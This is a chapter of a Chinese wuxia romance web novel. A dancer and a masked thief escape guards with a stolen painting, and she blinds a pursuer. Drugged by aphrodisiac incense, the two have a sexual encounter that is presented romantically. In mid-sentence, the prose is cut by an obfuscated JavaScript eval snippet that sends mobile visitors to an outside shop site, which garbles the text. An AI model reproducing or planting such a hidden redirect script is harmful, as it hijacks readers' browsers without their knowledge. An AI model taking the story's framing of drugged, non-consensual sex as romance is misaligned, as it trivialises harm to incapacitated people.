等得有些久了,沈绫音焦躁起来。
他不会出不来吧?看他身手,不应该啊。
沈绫音的手抬起又放下,终究还是将一直缠在腰间的软剑缓缓抽出一寸。
她并不在乎这男人是死是活,只是如今已打草惊蛇,若他败了,想再取春宴图势必难上加难。
伴着一声轻叹,软剑全部出鞘。
内院厮杀未歇,穆谦言还在大喊着:“留他活口,我要审他!”
沈绫音利落翻上墙檐,只见男子脚下已遍布横尸,但他看起来打得束手束脚,还不忘紧掩面巾,像是生怕被人看见他全部容貌。
眼见四周源源不断有人围上去,她冷哼了声,取出随身带的迷烟丸,手腕微微发力一掷。
“嘭”的一声,浓浓迷雾在人群中炸开,沈绫音立刻飞身下去,挥剑斩开人群,一把抓住男子小臂,“拿好图,跟我走这边。”
男子见她回来,先是一愣,接着迅速回神:“你带路,我断后。”
穆谦言被烟呛到,猛咳着后退几步,气急败坏夺过护卫手里的剑,用尽毕生力气,朝他们二人的方向投来。
“废物!一群废物!”
男子将沈绫音推开,自己偏头避过飞剑,脸上的黑色面巾却被剑风猛地掀起一角。
虽然只露出小半边侧脸,却已足够惊艳。
长剑哐当落地,穆谦言原本还在怒骂,可在看到男子面容后,一瞬失神,紧接着瞳孔猛然收缩。
“你……”他死死盯着男子,声音都变了调,带着点惊惧,“你是——”
他不敢置信地往前走了两步,像是想要确认自己有没有看错,“你到底是谁?你不会是——”
男子眼底寒意骤生,沈绫音扫了他一眼,几乎没有任何思考,她已闪身到穆谦言面前。
纤细银光划破雨幕,伴着一声极轻的闷响,穆谦言甚至还没来得及把后半句话说出口,便发出一声凄厉惨叫。
“啊——!!”
沈绫音的软剑已划过他双眼,鲜血混杂雨水,顺着脸颊疯狂流淌。
穆谦言双手死死捂住眼睛,痛倒在地。
趁着周围侍卫大乱,沈绫音再度攥住男子手腕,纵身掠过长廊,脚尖一点翻上屋脊,雨水将青瓦冲刷得湿滑无比,她却身形轻盈,几乎踏雨而行。
男子始终被她拽着,目光却不由自主地落在她攥着自己手腕的纤长指节上。
纤细,却很有力。
穆谦言的咆哮声如疯了一般传出来,“追!所有人都去追!”
就在这时,沈绫音已掠下屋檐,脚尖却在落地时控制不住地一软。
她身形一歪,被身旁男人扶住,但他看起来也没好到哪里去,喘息声同样急促紊乱。
沈绫音心知是情香作祟,她气得骂了一声,狠狠将男人推开,恨不得立刻抬剑连他一并捅死。
都是因为这个人,事情才会搞成这样!
可现如今,他们二人已经莫名其妙地成了一条绳上的蚂蚱。
她尚未稳住气息,身后又骤然响起尖锐的破空声。
男子将沈绫音往旁侧一扯,一支劲箭擦着她身侧钉入身后的树干,箭尾震颤不止。
“就在前面!”
“快追!”
“封住巷口!”
众侍卫手持利刃狂袭追来,刀光在雨夜里森然刺眼,好在大雨滂沱,点不了火把,勉强替两人遮掩了些许踪迹。
沈绫音强撑着往前,胸口那股燥意越来越明显,像有一团火顺着经脉缓缓烧起来,连呼吸都开始发烫。
“这样下去不行,分头跑吧……”她深吸一口气,抬眼看向男子,“刚才没有我,你已经被活捉了,图该归我。”
男子意味不明地看了她一眼,忽然反手拉住她,“跟我来。”
沈绫音来不及争执,已然被他拽着拐进了一条四通八达的幽深小巷。
身后穷追不舍的喊杀声渐渐被甩开了些,男子几乎没有停顿,每到一个岔口便立刻作出选择,显然不是临时乱跑。
直到前方出现一道不起眼的灰墙,他伸手精准按住墙角一块青砖。
“咔——”
意识涣散间,沈绫音并未发现这里缓缓打开了一扇机关暗门,她昏昏沉沉地被拉了进去,暗门重新合拢,四周终于安静下来。
这里是一座不大的宅院,院中只有一棵高大海棠树,被暴雨打得簌簌作响。
院内布置得简单精巧,显然长期有人打理,却不像有人常住。
确认没有追兵,沈绫音撑不住地泄了力,整个人歪倒下去。
她实在没想到,率先被逼到强弩之末的,竟是自己。
想骂一声可恶,但她已经没有多余的力气。
男子眼疾手快地揽住她腰,将她带进里间后才松开,“要倒去里面,你是想在雨里睡?”
沈绫音被轻轻丢在一张软榻上,她冷哼了声,哑着嗓子开口:“这是哪?”
男子也往旁边一靠,缓缓喘了口气:“安全的地方。”
安全的地方?他家?还是据点?
沈绫音:“……你家?”
男子抬眸看她,勾起一抹散漫笑意,犹豫了下才答:“算是?”
沈绫音还想再问,胸腔里的热意却忽然猛烈翻涌,她眼前阵阵发晕,忍不住轻喘一声。
感觉吸不上来气了,她下意识扯掉面纱随手丢在一边。
她并不怕被人看到容貌,她每每登台时都会以轻纱覆面,因此外界并不知道“绛蝶”的真容到底是何模样。
男子靠在榻边揉着眉心,呼吸愈发沉重,额角青筋微跳,他察觉到沈绫音动作后偏头看去,随即一瞬失神。
她长睫湿漉漉地颤着,面色潮红更添几分妩媚,泛着水光的唇瓣被无意识咬得莹润泛红,此刻倚在榻上的模样柔弱无力,让人很难将她和方才出手狠辣的模样联系在一起。
即便他见过许多美丽佳人,也无一能及得上眼前女子尽态极妍。
他甚至在脑中回想,莫非是哪家的千金偷跑出来?可她这身手,岂是深闺小姐会有的?
沈绫音对男子的视线浑然未觉,她只觉浑身热得要命,胡乱将胸前衣襟扯开了些。
白皙肌肤映入眼底,男子一愣,却怎么都移不开目光,只好不自然道:“你干嘛呢?”
沈绫音眼底像氤氲了一层朦胧水雾,她扭头对上男子深邃的桃花眼,他睫毛很长,眼角还有小小的一点泪痣,衬得眸子脉脉含情。
她竟忍不住想看看他到底长什么样子。
心念起落间,她朝着他的脸伸出了手,还未触及面巾时便被他扣住。
他的呼吸明显加重,不再像起初那般慵懒,“做什么?”
即便此刻药性燎原,沈绫音骨子里的反应力还在,她轻哼一声,随即抬起另一只手揭掉了他面巾。
映入眼底的是一副俊美得极具攻击性的容颜,他果然十分年轻,看着比她大不了几岁,透着神采飞扬的气息,不笑时唇角也微微上扬,显得整个人从容又矜贵。
怎么看都不像是在刀光剑影里讨生活的人。
沈绫音心头暗自一惊,世上竟有生得这般好看的男子。
但她只不动声色地把面巾一丢,怏怏道:“不过如此,谁稀罕看你。”
男子见她如此反应,先是微不可察地松了口气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967201|214548||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
紧接着又皱起眉,凉飕飕道:“不过如此?”
沈绫音恍若未闻,只迷蒙地睁着双眼看他,疑惑嘟囔:“你究竟是什么人?为谁效力?”
男子仍扣着她手腕没有放开。
“这话不该是我问你?”
话题被拉回正轨,沈绫音迷迷糊糊想起了自己此行原本是要做什么。
她撑着软榻想要起身,可胳膊又一麻,径直便朝着外侧栽去。
男子下意识长臂一揽,扣住她纤细腰肢,将下坠的人接在怀里。
微凉掌心贴上她滚烫肌肤,相触的瞬间,紧绷的戒备在混沌里摇摇欲坠。
沈绫音浑身一颤,循着那一点凉意,本能地往他怀里偎去。
鼻尖萦绕着他身上清冽的气息,让她忍不住想再靠近一点。
男子扣着她腰身的指节一点点收紧,他低骂了声,嗓音喑哑:“你是觉得我比你好受?”
他先中毒粉,又中情香,身体里翻涌的热流像要把人逼疯,他一直在忍。
她靠在他怀里,整个人昏沉到说不出话,只溢出一声含糊不清的低吟。
怀中人柔软滚烫,胸口伴着呼吸急促起伏,混着未散的淡淡胭脂金箔香气,撞得他本就紊乱的心神彻底失守。
沈绫音不由自主地抬起胳膊想攀住他脖颈,他捉住她的手腕,不容拒绝地固定在侧,理智轰然断裂,俯身狠狠吻上她唇。
那一吻像是压抑许久后的决堤,意乱情迷间,他动作急切又霸道,指尖蹭开松散的衣料,细细密密的吻顺着颌角一路往下。
风声细密,掩去了屋内彻底失控的缠绵。
窗外暴雨不止,打落满院海棠花叶,分不清是哪里的水声,簌簌响了一夜。
……
天光破晓时,沈绫音是在一阵浑身脱力的酸涩中骤然惊醒的。
余光望见身侧光景,她心头一震,慌忙扯过旁边的锦被,猛然坐直身子。
满室甜靡香气,周身遍布红痕,昭示着昨夜到底发生了何等荒唐。
足足愣了半晌,她方回过些神来。
动了动僵硬的双腿,酥麻又疼痛的不适感这时才涌现上来,床褥甚至还未干,她鼻子忽然一酸。
她虽是舞姬,可向来只管献艺,从不陪客,好端端的,就这样跟一个陌生男子?!
先是委屈茫然,紧接着便是怒火攻心。
扭头看到男子还沉沉睡着,沈绫音狠狠咬了咬唇,先甩开被子去穿衣服,在挪动身子时又痛得“嘶”了一声。
他是狗吗?干嘛还咬她!!
沈绫音气得胸闷,揉着心口翻身下榻,拾起了那把不知何时掉落在地的匕首。
她恶狠狠地盯着他。
敢这样对她,那就去死!
快走几步,手中匕首高举,她已经对准了男子的脖颈,只要一瞬,就能取他性命。
锋利寒刃即将要触碰到他肌肤时,沈绫音又顿住了。
……老实说,他的睡颜也很好看,侧脸歪向一边,如美玉雕琢般的骨相尽数展露,眉峰微蹙,看起来有些不舒服的样子。
沈绫音撇了撇嘴。
她想着,若不是她先对他下了毒粉,他也许不至于会落到如此地步。
何况……他长得养眼,她好像也不亏。
至于他害她腰酸背痛,看在这人也救了她的份上,就算两清了,从今往后,大路朝天各走一边,再也不见!
短暂将自己哄好了之后,沈绫音深深剜了男子一眼,随后将桌上的春宴图拿好,潇洒转身出门了。
她在心里对自己说:她才不是因为那男人的美色心软,只是不屑趁旁人毫不设防之际动手罢了!